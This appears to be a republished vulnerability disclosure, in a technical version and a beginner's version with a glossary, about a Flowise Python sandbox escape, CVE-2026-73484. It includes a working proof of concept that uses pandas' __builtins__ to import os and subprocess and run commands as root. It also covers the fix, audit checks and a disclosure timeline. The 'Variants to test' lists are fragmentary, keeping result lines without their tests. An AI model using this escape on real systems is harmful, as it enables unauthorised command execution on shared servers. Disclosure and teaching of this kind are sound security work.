CVE-2026–73484: How I Escaped a Python Sandbox in Flowise Using Pandas
Flowise's Python execution node allowed a sandbox escape because the allowed pandas module exposed Python's built-in import machinery through its namespace. An authenticated attacker could run arbitrary operating system commands as root on the server.
Published on medium.com
Cybersecurity
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Flowise is an open-source, drag-and-drop platform for building LLM-powered workflows. You wire language models, APIs and data tools together visually, and one of the node types runs arbitrary Python code server-side as part of the pipeline. That Python execution node is the subject of CVE-2026-73484.
The platform restricts what the code can reach through an allowlist of module names. os, subprocess and sys are blocked; pandas is allowed. The premise of the node is that user-supplied code runs in a sandbox, and the research here is about what that word actually means in this implementation.
Setup
All testing was done on a locally owned Flowise Docker instance, in an isolated environment with synthetic data only. The researcher's stated scope was a machine he controls, and the PoC carries an explicit warning not to run it against systems you do not control.
The report's summary table records the following:
| Field | Value |
|---|---|
| CVE | CVE-2026-73484 |
| Product | Flowise |
| Vulnerability type | Python sandbox escape caused by insufficient restrictions on methods exposed through an allowed Pandas module |
| Severity | High |
| CVSS | 8.6, NVD base score |
| Affected versions | Flowise versions before 3.1.3, according to the NVD record |
| Fixed version | 3.1.3 |
| CWE | Not specified in the NVD record the researcher verified |
| Testing scope | Locally owned Flowise Docker instance; isolated environment and synthetic data only |
| Primary impact | An authenticated attacker could potentially exfiltrate CSV data or write arbitrary files through the affected execution environment, depending on deployment configuration |
The precondition for the attack is the normal use of the product: an authenticated user who can create or import a workflow containing a Python code block.
Finding it
The starting question was what "sandbox" means when a platform offers sandboxed Python execution. Most implementations block dangerous module names: os is forbidden, subprocess is forbidden, and the work stops there. The next question is rarely asked: do any of the allowed modules carry a back door to the blocked ones?
Pandas was on the allowlist. It is a data manipulation library, trusted and common, and it ships with its own internal access to Python's built-in import machinery through its submodule namespaces. That was the thread worth pulling.
The attack surface breaks down as follows:
- What is exposed: the Python execution node accepts user-supplied code and runs it server-side.
- What the sandbox does: it maintains an allowlist of permitted modules by name and blocks
os,subprocessand similar. - What the sandbox misses: it does not inspect what permitted modules expose internally. It looks at the module name, not at what the module contains.
Pandas has a submodule, pd.io.common, whose __builtins__ attribute is reachable from user code. That attribute gives you Python's built-in import function, and with that you can import anything.
Exploitation
Step 1: reach __builtins__ through an allowed module
Python's __builtins__ is a dictionary (or module object) holding every built-in function, including __import__. A sandbox that blocks direct __import__ calls at user level is clearly trying to stop user code from loading arbitrary modules. But every module already imported by the runtime carries __builtins__ in its own namespace. The sandbox blocks one door and leaves another open. Pandas came through the door, and its namespace carried __builtins__.
import pandas as pd
# Access __builtins__ through Pandas' submodule
builtins = pd.io.common.__builtins__
Step 2: reconstruct __import__
__builtins__ can be either a dict or a module object depending on context, so the code handles both shapes and pulls out the import function either way.
# Reconstruct __import__
if isinstance(builtins, dict):
_import = builtins['__import__']
else:
_import = builtins.__import__
Step 3: import a blocked module and run a command
With __import__ in hand, os is just another import. The call passes empty globals and locals, an empty fromlist and a level of 0.
os_mod = _import('os', {}, {}, [], 0)
# Run a command
os_mod.system('id')
Run inside a Flowise instance on the researcher's local Docker container, this returned uid=0(root). The sandbox did not catch it, because Pandas was trusted and the import happened through Pandas' own namespace rather than through the user-level import path the sandbox was watching.
Step 4: the full proof of concept
The complete PoC imports both os and subprocess the same way and executes a command through subprocess.check_output with shell=False.
import pandas as pd
# Step 1: Access __builtins__ through an allowed Pandas submodule
builtins = pd.io.common.__builtins__
# Step 2: Reconstruct __import__
if isinstance(builtins, dict):
_import = builtins['__import__']
else:
_import = builtins.__import__
os_module = _import('os', {}, {}, [], 0)
subprocess_module = _import('subprocess', {}, {}, [], 0)
output = subprocess_module.check_output(['whoami'], shell=False)
print(f"[+] Sandbox escape confirmed: {output.decode().strip()}")
The reported result was uid=0(root): arbitrary OS command execution from inside the sandboxed execution node.
Root cause
The design mistake is module-name allowlisting without namespace inspection. The sandbox checks the name of a module and permits it, but never looks at what that module carries internally. Every module the runtime has already imported has __builtins__ sitting in its namespace, and __builtins__ leads to __import__, which leads to os. The chain is: Pandas is permitted, Pandas carries __builtins__, __builtins__ carries __import__, and __import__ carries everything the sandbox was meant to block.
The existing defence failed because it only watched the user-level import path. The import in the PoC never went through that path; it went through Pandas' own namespace, so there was nothing for the name-based check to match against.
Impact
In the local Docker environment, the researcher demonstrated execution of arbitrary operating system commands on the host running Flowise, through a crafted workflow code block, with the process running as root.
In a real multi-tenant deployment, an attacker who can create or import a workflow, which is the normal usage of Flowise, can run OS commands on the server. That enables:
- reading environment variables (API keys, database passwords, anything in
.env) - accessing the local file system
- making network calls to internal services the server can reach
- dropping persistence if the container mounts writable volumes
Root-level execution makes all of that worse, and the social engineering cost is zero because workflow creation is the product's intended use. The summary table frames the primary impact more narrowly, as potential exfiltration of CSV data or writing arbitrary files depending on deployment configuration.
The research does not establish whether the issue was exploited in any production environment, which exact Flowise versions are affected, or whether all multi-tenant deployments use root-level containers.
Fix
The summary table lists 3.1.3 as the fixed version, according to the NVD record. The report also sets out recommended remediation.
Short-term: strip __builtins__ from every module's namespace before injecting it into the sandbox context. Blocking module names alone is not enough.
import types
def sanitize_module(mod):
"""Remove __builtins__ from an allowed module before passing it to the sandbox."""
clean = types.ModuleType(mod.__name__)
for attr in dir(mod):
if attr not in ('__builtins__', '__import__', '__loader__', '__spec__'):
try:
setattr(clean, attr, getattr(mod, attr))
except Exception:
pass
return clean
Long-term: module-name allowlisting is a speedbump, not a sandbox. The right approach is kernel-level isolation: seccomp profiles, gVisor, or a subprocess-isolated execution environment with no shared memory space. The Flowise process should also run as a non-root user; uid=0 in any internet-facing service is its own problem.
A positive result is a working _import('os', {}, {}, [], 0) call that returns the module rather than raising.
Enumerate submodules of every permitted package and test the same attribute access on each. A positive result is any submodule whose __builtins__ yields a callable import.
A positive result is the import succeeding in either case.
A positive result is any of them loading despite being on the blocklist.
A positive result for an attacker is a non-root user not being enforced, i.e. root output.
A positive result is a stored workflow that already contains such references.
Disclosure timeline
The report gives the sequence of stages: discovery, with Pandas identified as an escape vector through sandbox inspection; PoC developed, with RCE confirmed in a local Docker environment; vendor notified, with responsible disclosure submitted to the Flowise maintainers; CVE assigned as CVE-2026-73484; public disclosure per coordinated timeline.
What to check right now
If you run Flowise with Python execution nodes enabled:
- Is
pandasin your allowlist or auto-imported? Check your Flowise configuration. - Audit existing user workflows for code blocks referencing
__builtins__orpd.io. - Check what user the Flowise process runs as:
docker inspect <container> | grep -i user - If it is root, that is your first fix, independent of this CVE.
The broader lesson is that an allowlist of module names is a list of names, not a sandbox. Every module you permit carries its own namespace, and that namespace may include __builtins__. Sandbox at the code level and at the kernel level, so one layer failing is not game over, and never run sandboxed workloads as root. An AI execution node has the same security model as arbitrary user code execution, with requirements that predate LLMs by decades.
What happened, in plain words
Flowise is a tool that lets people build AI-powered workflows by dragging boxes onto a screen and connecting them with lines, a bit like building a flowchart. One of those boxes runs Python code, a popular programming language, on the server. Flowise promised that this code ran inside a "sandbox": a restricted space where the code could not do anything dangerous to the machine it runs on, like a child's playpen with high walls.
A security researcher, Siva Aditya, tested that promise on his own computer. He found that the walls had a gap. The sandbox blocked the most obviously dangerous parts of Python by name, but it allowed a harmless-looking data library called Pandas. Pandas, it turned out, carried a hidden key to the very things the sandbox was trying to block. Using that key, the researcher ran ordinary operating system commands on the machine, and they ran with the highest possible level of permission (the "root" user).
The problem was given the identifier CVE-2026-73484. A CVE is a public catalogue number for a known security flaw, so that everyone can talk about the same bug unambiguously. The flaw was rated High severity, with an NVD base score of 8.6. CVSS is a standard 0 to 10 scale for how serious a vulnerability is. According to the NVD record, it was fixed in Flowise version 3.1.3.
This article walks through the researcher's work from the beginning, explaining every term as it appears, so you can follow it even if you have never done security work before.
What Flowise is
Flowise is an open-source platform for building workflows powered by large language models (LLMs), the technology behind chatbots like the ones you may have used. "Open-source" means the underlying code is publicly available for anyone to read and modify.
You build a workflow visually: you drag in nodes (boxes representing a step), connect them, and the platform runs the resulting pipeline. A pipeline is simply a chain of steps, where the output of one step becomes the input of the next, like a recipe where each stage feeds the next.
One node type runs Python code that you supply. Python is a widely used programming language, and here it runs on the server, meaning on the machine that hosts Flowise, not in your browser. That is powerful: it lets a workflow do custom calculations or data processing. It is also risky, because code running on a server could, in principle, do anything the server can do.
To reduce that risk, Flowise uses an allowlist: a list of modules (pre-packaged bundles of Python code) that user code is permitted to load. Anything not on the list is refused. os, subprocess and sys are blocked. These are modules that let Python talk directly to the operating system, start other programs, and inspect the interpreter itself, so blocking them makes sense. Pandas is allowed. Pandas is a very popular library for working with tables of data, the kind of thing you would use in a spreadsheet, but in code.
The whole premise of the node is that user code runs in a sandbox. The research is about what that word actually means in this particular implementation.
The setup
All testing was done on a Flowise instance the researcher ran himself, inside Docker, on a machine he owns. Docker is a tool that packages software into a container: an isolated box that behaves like a small separate computer, so experiments cannot damage the rest of the machine. The environment was isolated and used only synthetic (made-up) data.
The proof of concept (PoC), meaning the small piece of code that demonstrates the bug, carries an explicit warning: do not run it against any system you do not control. Running attack code against someone else's server without permission is illegal in most countries, even if you mean no harm.
The report's summary table records the following:
| Field | Value |
|---|---|
| CVE | CVE-2026-73484 |
| Product | Flowise |
| Vulnerability type | Python sandbox escape caused by insufficient restrictions on methods exposed through an allowed Pandas module |
| Severity | High |
| CVSS | 8.6, NVD base score |
| Affected versions | Flowise versions before 3.1.3, according to the NVD record |
| Fixed version | 3.1.3 |
| CWE | Not specified in the NVD record the researcher verified |
| Testing scope | Locally owned Flowise Docker instance; isolated environment and synthetic data only |
| Primary impact | An authenticated attacker could potentially exfiltrate CSV data or write arbitrary files through the affected execution environment, depending on deployment configuration |
A few terms from that table. NVD is the National Vulnerability Database, a public US government catalogue of known vulnerabilities; its "base score" is the standard severity number. CWE is a catalogue of weakness types, a way of classifying what kind of mistake a bug is. "Authenticated attacker" means someone who has logged in with a valid account, as opposed to a complete stranger. "Exfiltrate" means to steal data by copying it out. CSV is a plain-text file format for tables, the kind a spreadsheet program can open. "Deployment configuration" means how a particular installation is set up, which varies from one organisation to another.
The precondition for the attack is the normal use of the product: an authenticated user who can create or import a workflow containing a Python code block. In other words, you do not need any special privilege beyond being a normal user of Flowise.
Finding it
The starting question was what "sandbox" actually means when a platform offers sandboxed Python execution. Most implementations block dangerous module names: os is forbidden, subprocess is forbidden, and the work stops there. The next question is rarely asked: do any of the allowed modules carry a back door to the blocked ones?
Think of it like a building where the security guard has a list of banned visitors. He checks every person at the door against the list. But what if a permitted visitor is carrying a banned person in a suitcase? The guard checked the name at the door, not what was inside the suitcase.
Pandas was on the allowlist. It is a data manipulation library, trusted and common, and it ships with its own internal access to Python's built-in import machinery through its submodule namespaces. A submodule is a smaller part inside a larger package, like a room inside a house. A namespace is the collection of names (functions, variables, other modules) that a piece of code can see, like the set of tools laid out on a workbench. That was the thread worth pulling.
The attack surface, meaning the set of places where an attacker can interact with the system, breaks down as follows:
- What is exposed: the Python execution node accepts user-supplied code and runs it server-side.
- What the sandbox does: it maintains an allowlist of permitted modules by name and blocks
os,subprocessand similar. - What the sandbox misses: it does not inspect what permitted modules expose internally. It looks at the module name, not at what the module contains.
Pandas has a submodule, pd.io.common, whose __builtins__ attribute is reachable from user code. An attribute is a named piece of data or functionality attached to an object, like a drawer in a cabinet. __builtins__ is a special drawer that Python fills with its core built-in functions, including the one that loads other modules. That attribute gives you Python's built-in import function, and with that you can import anything.
Exploitation
Step 1: reach __builtins__ through an allowed module
Python's __builtins__ is a dictionary (or module object) holding every built-in function, including __import__. A dictionary is a lookup table: you give it a name (a key) and it gives you back the matching value, like a phone book. __import__ is the built-in function that loads a module by name; it is the mechanism behind the ordinary import statement you see in Python code.
A sandbox that blocks direct __import__ calls at user level is clearly trying to stop user code from loading arbitrary modules. But every module already imported by the runtime carries __builtins__ in its own namespace. The sandbox blocks one door and leaves another open. Pandas came through the door, and its namespace carried __builtins__.
import pandas as pd
# Access __builtins__ through Pandas' submodule
builtins = pd.io.common.__builtins__
Line by line:
import pandas as pdloads the Pandas library and gives it the short nicknamepd, so you can typepdinstead ofpandaseverywhere. This import is allowed by the sandbox, because Pandas is on the allowlist.- The comment line starting with
#is just a note for humans; Python ignores it. builtins = pd.io.common.__builtins__reaches into Pandas, into itsiosubmodule, into itscommonsubmodule, and takes the__builtins__drawer from there. It stores that in a variable calledbuiltins. The point of this step is to get hold of the built-in functions without ever writing the wordimportfor a blocked module, so the sandbox's name check has nothing to catch.
Step 2: reconstruct __import__
__builtins__ can be either a dict or a module object depending on context, so the code handles both shapes and pulls out the import function either way.
# Reconstruct __import__
if isinstance(builtins, dict):
_import = builtins['__import__']
else:
_import = builtins.__import__
Line by line:
- The comment explains the goal: get the import function back out.
if isinstance(builtins, dict):asks a yes/no question: is the thing we grabbed a dictionary (a lookup table)?isinstanceis a built-in check for the type of a value.- If yes,
_import = builtins['__import__']looks up the entry named__import__in that table and stores it in a variable called_import. The underscore at the start is just a naming convention meaning "internal helper". else:covers the other case._import = builtins.__import__takes the same function as an attribute instead, for whenbuiltinsis a module object rather than a table.
Why bother with two branches? Because the researcher could not assume which shape he would get, and the code should work either way. The result is the same: a working import function in hand, obtained without triggering the sandbox's block on direct imports.
Step 3: import a blocked module and run a command
With __import__ in hand, os is just another import. The call passes empty globals and locals, an empty fromlist and a level of 0.
os_mod = _import('os', {}, {}, [], 0)
# Run a command
os_mod.system('id')
Line by line:
os_mod = _import('os', {}, {}, [], 0)calls the recovered import function and asks it to load theosmodule, the one that talks to the operating system. The extra arguments are the standard parameters of Python's import function:{}is an empty dictionary for global names, another{}for local names,[]is an empty list of names to pull in from the module, and0means "import it as an absolute name, not relative to the current package". They are filled with empty values because we just want the module itself. The result is stored inos_mod.- The comment marks the next action.
os_mod.system('id')asks the operating system to run the commandid. On Linux and similar systems,idprints who the current user is and which groups they belong to. It is a harmless way to prove you can run commands.
Run inside a Flowise instance on the researcher's local Docker container, this returned uid=0(root). uid=0 means user ID zero, which on Unix-like systems is the root account, the all-powerful administrator. The sandbox did not catch it, because Pandas was trusted and the import happened through Pandas' own namespace rather than through the user-level import path the sandbox was watching.
Step 4: the full proof of concept
The complete PoC imports both os and subprocess the same way and executes a command through subprocess.check_output with shell=False.
import pandas as pd
# Step 1: Access __builtins__ through an allowed Pandas submodule
builtins = pd.io.common.__builtins__
# Step 2: Reconstruct __import__
if isinstance(builtins, dict):
_import = builtins['__import__']
else:
_import = builtins.__import__
os_module = _import('os', {}, {}, [], 0)
subprocess_module = _import('subprocess', {}, {}, [], 0)
output = subprocess_module.check_output(['whoami'], shell=False)
print(f"[+] Sandbox escape confirmed: {output.decode().strip()}")
Line by line:
import pandas as pdloads Pandas under the nicknamepd, as before.- The comment marks step one.
builtins = pd.io.common.__builtins__grabs the built-in functions through Pandas' submodule, as before.- The comment marks step two.
if isinstance(builtins, dict):checks whether we got a dictionary._import = builtins['__import__']pulls out the import function from the dictionary if so.else:covers the other case._import = builtins.__import__pulls out the import function as an attribute if not.os_module = _import('os', {}, {}, [], 0)loads the blockedosmodule through the recovered import function.subprocess_module = _import('subprocess', {}, {}, [], 0)loads the blockedsubprocessmodule the same way.subprocesslets Python start other programs and capture their output.output = subprocess_module.check_output(['whoami'], shell=False)runs the commandwhoami, which prints the name of the current user, and captures its output. The command is given as a list with one item, andshell=Falsemeans it is run directly rather than through a command shell, which avoids a whole class of quoting problems.print(f"[+] Sandbox escape confirmed: {output.decode().strip()}")prints a confirmation message.outputcomes back as raw bytes, so.decode()turns it into readable text, and.strip()removes the trailing newline. Thef"..."syntax lets you insert values into a string by putting them in curly braces.
The reported result was uid=0(root): arbitrary OS command execution from inside the sandboxed execution node. "Arbitrary" here means the attacker can run any command, not just the harmless ones used in the test.
Root cause
The design mistake is module-name allowlisting without namespace inspection. The sandbox checks the name of a module and permits it, but never looks at what that module carries internally. Every module the runtime has already imported has __builtins__ sitting in its namespace, and __builtins__ leads to __import__, which leads to os. The chain is: Pandas is permitted, Pandas carries __builtins__, __builtins__ carries __import__, and __import__ carries everything the sandbox was meant to block.
The existing defence failed because it only watched the user-level import path. The import in the PoC never went through that path; it went through Pandas' own namespace, so there was nothing for the name-based check to match against. Going back to the guard analogy: the guard was checking the front door, and the visitor came in through a side entrance that nobody was watching.
Impact
In the local Docker environment, the researcher demonstrated execution of arbitrary operating system commands on the host running Flowise, through a crafted workflow code block, with the process running as root. "Host" means the underlying machine that the container runs on.
In a real multi-tenant deployment, an attacker who can create or import a workflow, which is the normal usage of Flowise, can run OS commands on the server. "Multi-tenant" means several different users or organisations share the same installation, so one user's mistake or attack can affect the others. That enables:
- reading environment variables (API keys, database passwords, anything in
.env). Environment variables are named settings that a program reads at startup; they often hold secrets. An API key is a password-like string that lets software talk to another service. A.envfile is a common place to store such settings. - accessing the local file system, meaning reading and writing files on the server.
- making network calls to internal services the server can reach. Internal services are systems on the same private network that are not meant to be reachable from the internet; from the server, they may be wide open.
- dropping persistence if the container mounts writable volumes. Persistence means leaving something behind so the attacker can come back later, for example a scheduled task or a modified file. A volume is storage attached to a container that survives restarts.
Root-level execution makes all of that worse, and the social engineering cost is zero because workflow creation is the product's intended use. "Social engineering" means tricking a person into doing something, such as clicking a link or handing over a password; here, no trickery is needed at all, because creating a workflow is exactly what the product is for. The summary table frames the primary impact more narrowly, as potential exfiltration of CSV data or writing arbitrary files depending on deployment configuration.
The research does not establish whether the issue was exploited in any production environment, which exact Flowise versions are affected, or whether all multi-tenant deployments use root-level containers.
Fix
The fixed version is 3.1.3. The report also sets out recommended remediation.
Short-term: strip __builtins__ from every module's namespace before injecting it into the sandbox context. Blocking module names alone is not enough.
import types
def sanitize_module(mod):
"""Remove __builtins__ from an allowed module before passing it to the sandbox."""
clean = types.ModuleType(mod.__name__)
for attr in dir(mod):
if attr not in ('__builtins__', '__import__', '__loader__', '__spec__'):
try:
setattr(clean, attr, getattr(mod, attr))
except Exception:
pass
return clean
Line by line:
import typesloads a standard Python module that provides tools for working with types, including a way to create a fresh, empty module object.def sanitize_module(mod):defines a function calledsanitize_modulethat takes one input,mod, the module you want to clean. "Sanitise" means to make safe by removing anything harmful.- The triple-quoted line is a docstring, a description of what the function does, for anyone reading the code.
clean = types.ModuleType(mod.__name__)creates a brand-new, empty module with the same name as the original. This is the clean copy that will be handed to the sandbox.for attr in dir(mod):loops over every name in the original module.dirlists the names an object exposes.if attr not in ('__builtins__', '__import__', '__loader__', '__spec__'):skips the dangerous names.__builtins__is the back door we found;__import__is the import function itself;__loader__and__spec__are internal bookkeeping attributes that can also lead back to import machinery. Everything else is copied.try:starts a block where errors are tolerated.setattr(clean, attr, getattr(mod, attr))copies the attribute from the original module onto the clean copy.getattrreads an attribute by name,setattrwrites one by name.except Exception:catches any error that occurs during the copy.passdoes nothing, deliberately: if one attribute cannot be copied, skip it and carry on rather than crashing.return cleanhands back the sanitised module.
The idea is simple: before giving a module to user code, make a copy that has the dangerous drawers removed. The user still gets Pandas, but not the hidden key inside it.
Long-term: module-name allowlisting is a speedbump, not a sandbox. The right approach is kernel-level isolation: seccomp profiles, gVisor, or a subprocess-isolated execution environment with no shared memory space. The kernel is the core of the operating system, the part that enforces permissions. seccomp is a Linux feature that restricts which system calls (requests a program makes to the kernel) a process may use. gVisor is a tool that puts a strong extra layer between a program and the real kernel. A subprocess-isolated environment means running the untrusted code in a separate process with no shared memory, so even if it escapes its language-level restrictions, it cannot reach the parent. The Flowise process should also run as a non-root user; uid=0 in any internet-facing service is its own problem. "Internet-facing" means reachable from the public internet.
Variants to test
A positive result is a working _import('os', {}, {}, [], 0) call that returns the module rather than raising.
Enumerate submodules of every permitted package and test the same attribute access on each. A positive result is any submodule whose __builtins__ yields a callable import.
A positive result is the import succeeding in either case.
A positive result is any of them loading despite being on the blocklist.
A positive result for an attacker is a non-root user not being enforced, i.e. root output. docker inspect prints details about a container, and grep -i user filters that output for lines containing "user", ignoring case.
A positive result is a stored workflow that already contains such references.
Disclosure timeline
The report gives the sequence of stages: discovery, with Pandas identified as an escape vector through sandbox inspection; PoC developed, with RCE confirmed in a local Docker environment; vendor notified, with responsible disclosure submitted to the Flowise maintainers; CVE assigned as CVE-2026-73484; public disclosure per coordinated timeline. "Responsible disclosure" means telling the maker privately first and giving them time to fix the problem before you tell the world. "RCE" stands for remote code execution, the ability to make a remote machine run code of your choosing. "Coordinated timeline" means an agreed schedule for going public, so users have time to update.
What to check right now
If you run Flowise with Python execution nodes enabled:
- Is
pandasin your allowlist or auto-imported? Check your Flowise configuration. - Audit existing user workflows for code blocks referencing
__builtins__orpd.io. - Check what user the Flowise process runs as:
docker inspect <container> | grep -i user - If it is root, that is your first fix, independent of this CVE.
The broader lesson is that an allowlist of module names is a list of names, not a sandbox. Every module you permit carries its own namespace, and that namespace may include __builtins__. Sandbox at the code level and at the kernel level, so one layer failing is not game over, and never run sandboxed workloads as root. An AI execution node has the same security model as arbitrary user code execution, with requirements that predate LLMs by decades.
Glossary
- Allowlist: a list of things that are permitted; anything not on it is refused.
- API key: a password-like string that lets one piece of software talk to another service.
- Attribute: a named piece of data or functionality attached to an object, like a drawer in a cabinet.
- Authenticated attacker: someone who has logged in with a valid account, as opposed to a complete stranger.
- Container: an isolated package containing software and everything it needs to run, behaving like a small separate computer.
- CSV: a plain-text file format for tables, the kind a spreadsheet program can open.
- CVE: a public catalogue number for a known security vulnerability, so everyone can refer to the same bug unambiguously.
- CVSS: a standard 0 to 10 scale for how serious a vulnerability is.
- CWE: a catalogue of weakness types, used to classify what kind of mistake a bug is.
- Dictionary: a lookup table in Python; you give it a name (key) and it gives back the matching value.
- Docker: a tool that packages software into containers.
- Environment variable: a named setting a program reads at startup; often holds secrets.
- Exfiltrate: to steal data by copying it out of a system.
- gVisor: a tool that adds a strong extra layer between a program and the real operating system kernel.
- Host: the underlying machine that a container runs on.
- Internet-facing: reachable from the public internet.
- Kernel: the core of the operating system, the part that enforces permissions.
- LLM: large language model, the technology behind modern chatbots and AI assistants.
- Module: a pre-packaged bundle of Python code that can be loaded and used.
- Multi-tenant: several different users or organisations sharing the same installation.
- Namespace: the collection of names (functions, variables, modules) a piece of code can see, like the tools laid out on a workbench.
- NVD: the National Vulnerability Database, a public US government catalogue of known vulnerabilities.
- Open-source: software whose underlying code is publicly available to read and modify.
- Persistence: leaving something behind on a system so an attacker can return later.
- Pipeline: a chain of steps where the output of one becomes the input of the next.
- PoC: proof of concept, a small piece of code that demonstrates a bug.
- RCE: remote code execution, the ability to make a remote machine run code of your choosing.
- Responsible disclosure: telling the maker privately first and giving them time to fix the problem before going public.
- Root: the all-powerful administrator account on Unix-like systems, with user ID zero.
- Sandbox: a restricted space where code can run without being able to harm the rest of the machine.
- seccomp: a Linux feature that restricts which system calls a process may use.
- Social engineering: tricking a person into doing something, such as clicking a link or handing over a password.
- Submodule: a smaller part inside a larger package, like a room inside a house.
- System call: a request a program makes to the operating system kernel.
- Volume: storage attached to a container that survives restarts.